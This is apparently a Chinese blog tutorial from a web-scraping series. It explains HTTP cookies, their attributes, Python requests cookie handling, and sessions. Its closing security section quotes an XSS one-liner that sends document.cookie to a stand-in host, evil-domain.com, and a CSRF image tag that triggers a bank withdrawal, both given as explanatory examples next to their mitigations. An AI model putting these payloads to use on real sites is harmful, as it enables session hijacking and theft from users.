必須掌握的Cookie知識點在這裏

在這裏插入圖片描述

一、誕生背景

爬蟲系列教程的第一篇:HTTP詳解中我們便說過HTTP的五大特點,而其中之一便是:無狀態

HTTP無狀態:服務器無法知道兩個請求是否來自同一個瀏覽器,即服務器不知道用戶上一次做了什麼,每次請求都是完全相互獨立。

早期互聯網只是用於簡單的瀏覽文檔信息、查看黃頁、門戶網站等等,並沒有交互這個說法。但是隨着互聯網慢慢發展,寬帶、服務器等硬件設施已經得到很大的提升,互聯網允許人們可以做更多的事情,所以交互式Web慢慢興起,而HTTP無狀態的特點卻嚴重阻礙其發展!

交互式Web:客戶端與服務器可以互動,如用戶登錄,購買商品,各種論壇等等

不能記錄用戶上一次做了什麼,怎麼辦?聰明的程序員們就開始思考:怎麼樣才能記錄用戶上一次的操作信息呢?於是有人就想到了隱藏域。

隱藏域寫法:

這樣把用戶上一次操作記錄放在form表單的input中,這樣請求時將表單提交不就知道上一次用戶的操作,但是這樣每次都得創建隱藏域而且得賦值太麻煩,而且容易出錯!

ps:隱藏域作用強大,時至今日都有很多人在用它解決各種問題!

網景公司當時一名員工Lou Montulli(盧-蒙特利),在1994年將“cookies”的概念應用於網絡通信,用來解決用戶網上購物的購物車歷史記錄,而當時最強大的瀏覽器正是網景瀏覽器,在網景瀏覽器的支持下其他瀏覽器也漸漸開始支持Cookie,到目前所有瀏覽器都支持Cookie了

在這裏插入圖片描述

二、Cookie是什麼

前面我們已經知道了Cookie的誕生是爲了解決HTTP無狀態的特性無法滿足交互式web,那它究竟是什麼呢?
在這裏插入圖片描述

上圖是在Chrome瀏覽器中的百度首頁的Cookies(Cookie的複數形式),在表格中,每一行都代表着一個Cookie,所以我們來看看Cookie的定義吧!

Cookie是由服務器發給客戶端的特殊信息,而這些信息以文本文件的方式存放在客戶端,然後客戶端每次向服務器發送請求的時候都會帶上這些特殊的信息,用於服務器記錄客戶端的狀態。

Cookie主要用於以下三個方面:

會話狀態管理(如用戶登錄狀態、購物車、遊戲分數或其它需要記錄的信息)
個性化設置(如用戶自定義設置、主題等)
瀏覽器行爲跟蹤(如跟蹤分析用戶行爲等)
三、Cookie原理

我們在瞭解了Cookie是由服務器發出存儲在瀏覽器的特殊信息,那具體是怎麼樣的一個過程呢?爲了大家便於理解,豬哥就以用戶登錄爲例子爲大家畫了一幅Cookie原理圖

在這裏插入圖片描述
用戶在輸入用戶名和密碼之後,瀏覽器將用戶名和密碼發送給服務器,服務器進行驗證,驗證通過之後將用戶信息加密後封裝成Cookie放在請求頭中返回給瀏覽器。

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly

[響應體]
瀏覽器收到服務器返回數據,發現請求頭中有一個:Set-Cookie,然後它就把這個Cookie保存起來,下次瀏覽器再請求服務器的時候,會把Cookie也放在請求頭中傳給服務器:

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg

服務器收到請求後從請求頭中拿到cookie,然後解析併到用戶信息,說明此用戶已登錄,Cookie是將數據保存在客戶端的。

這裏我們可以看到,用戶信息是保存在Cookie中,也就相當於是保存在瀏覽器中,那就說用戶可以隨意修改用戶信息,這是一種不安全的策略!

強調一點:Cookie無論是服務器發給瀏覽器還是瀏覽器發給服務器,都是放在請求頭中的!

四、Cookie屬性

下圖中我們可以看到一個Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure這些屬性,那這些屬性分別都有什麼作用呢?我們來看看
在這裏插入圖片描述

  1. Name&Value

Name表示Cookie的名稱,服務器就是通過name屬性來獲取某個Cookie值。

Value表示Cookie 的值,大多數情況下服務器會把這個value當作一個key去緩存中查詢保存的數據。

2.Domain&Path

Domain表示可以訪問此cookie的域名,下圖我們以百度貼吧頁的Cookie來講解一下Domain屬性。
在這裏插入圖片描述
從上圖中我們可以看出domain有:.baidu.com 頂級域名和.teiba.baidu.com的二級域名,所以這裏就會有一個訪問規則:頂級域名只能設置或訪問頂級域名的Cookie,二級及以下的域名只能訪問或設置自身或者頂級域名的Cookie,所以如果要在多個二級域名中共享Cookie的話,只能將Domain屬性設置爲頂級域名!

Path表示可以訪問此cookie的頁面路徑。比如path=/test,那麼只有/test路徑下的頁面可以讀取此cookie。

3.Expires/Max-Age

Expires/Max-Age表示此cookie超時時間。若設置其值爲一個時間,那麼當到達此時間後,此cookie失效。不設置的話默認值是Session,意思是cookie會和session一起失效。當瀏覽器關閉(不是瀏覽器標籤頁,而是整個瀏覽器) 後,此cookie失效。

提示:當Cookie的過期時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。

4.Size
在這裏插入圖片描述
Size表示Cookie的name+value的字符數,比如有一個Cookie:id=666,那麼Size=2+3=5 。

另外每個瀏覽器對Cookie的支持都不相同

5.HTTP
在這裏插入圖片描述
HTTP表示cookie的httponly屬性。若此屬性爲true,則只有在http請求頭中會帶有此cookie的信息,而不能通過document.cookie來訪問此cookie。

設計該特徵意在提供一個安全措施來幫助阻止通過Javascript發起的跨站腳本攻擊(XSS)竊取cookie的行爲

6.Secure
在這裏插入圖片描述
Secure表示是否只能通過https來傳遞此條cookie。不像其它選項,該選項只是一個標記並且沒有其它的值。

這種cookie的內容意指具有很高的價值並且可能潛在的被破解以純文本形式傳輸。

五、Python操作Cookie

1.生成Cookie
在這裏插入圖片描述
前面我們說過Cookie是由服務端生成的,那如何用Python代碼來生成呢?

從上圖登錄代碼中我們看到,在簡單的驗證用戶名和密碼之後,服務器跳轉到/user,然後set了一個cookie,瀏覽器收到響應後發現請求頭中有一個:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然後瀏覽器就會將這個Cookie保存起來!

2.獲取Cookie

最近我們一直在講requests模塊,這裏我們就用requests模塊來獲取Cookie。
在這裏插入圖片描述
r.cookies表示獲取所有cookie,get_dict()函數表示返回的是字典格式cookie。

3.設置Cookie

上篇我們爬取優酷彈幕的文章中便是用了requests模塊設置Cookie
在這裏插入圖片描述
我們就瀏覽器複製過來的Cookie放在代碼中,這樣便可以順利的僞裝成瀏覽器,然後正常爬取數據,複製Cookie是爬蟲中常用的一種手段!

六、Session

1.誕生背景

其實在Cookie設計之初,並不像豬哥講的那樣Cookie只保存一個key,而是直接保存用戶信息,剛開始大家認爲這樣用起來很爽,但是由於cookie 是存在用戶端,而且它本身存儲的尺寸大小也有限,最關鍵是用戶可以是可見的,並可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?於是,這個時候,一種新的存儲會話機制:Session 誕生了。
在這裏插入圖片描述
2.Session是什麼

Session翻譯爲會話,服務器爲每個瀏覽器創建的一個會話對象,瀏覽器在第一次請求服務器,服務器便會爲這個瀏覽器生成一個Session對象,保存在服務端,並且把Session的Id以cookie的形式發送給客戶端瀏覽,而以用戶顯式結束或session超時爲結束。

我們來看看Session工作原理:

當一個用戶向服務器發送第一個請求時,服務器爲其建立一個session,併爲此session創建一個標識號(sessionID)。
這個用戶隨後的所有請求都應包括這個標識號(sessionID)。服務器會校對這個標識號以判斷請求屬於哪個session。
對於session標識號(sessionID),有兩種方式實現:Cookie和URL重寫,豬哥就以Cookie的實現方式畫一個Session原理圖

聯繫cookie原理圖我們可以看到,Cookie是將數據直接保存在客戶端,而Session是將數據保存在服務端,就安全性來講Session更好!

3.Python操作Session

後面豬哥將會以登錄的例子來講解如何用Python代碼操作Session

七、面試場景

1.Cookie和Session關係

都是爲了實現客戶端與服務端交互而產出
Cookie是保存在客戶端,缺點易僞造、不安全
Session是保存在服務端,會消耗服務器資源
Session實現有兩種方式:Cookie和URL重寫
2.Cookie帶來的安全性問題

會話劫持和XSS:在Web應用中,Cookie常用來標記用戶或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。(new Image()).src = “http://www.evil-domain.com/steal-cookie.php?cookie=” + document.cookie;HttpOnly類型的Cookie由於阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。
跨站請求僞造(CSRF):維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務器發送提現的請求:< img src=“http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory”>當你打開含有了這張圖片的HTML頁面時,如果你之前已經登錄了你的銀行帳號並且Cookie仍然有效(還沒有其它驗證步驟),你銀行裏的錢很可能會被自動轉走。解決CSRF的辦法有:隱藏域驗證碼、確認機制、較短的Cookie生命週期等。
八、總結

今天爲大家講解了Cookie的相關知識,以及如何使用requests模塊操作Cookie,最後順便提了一下Cookie與Session的關係以及Cookie存在哪些安全問題。希望大家能對Cookie(小餅乾)能有個全面的瞭解,這樣對你在今後的爬蟲學習中會大有裨益

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章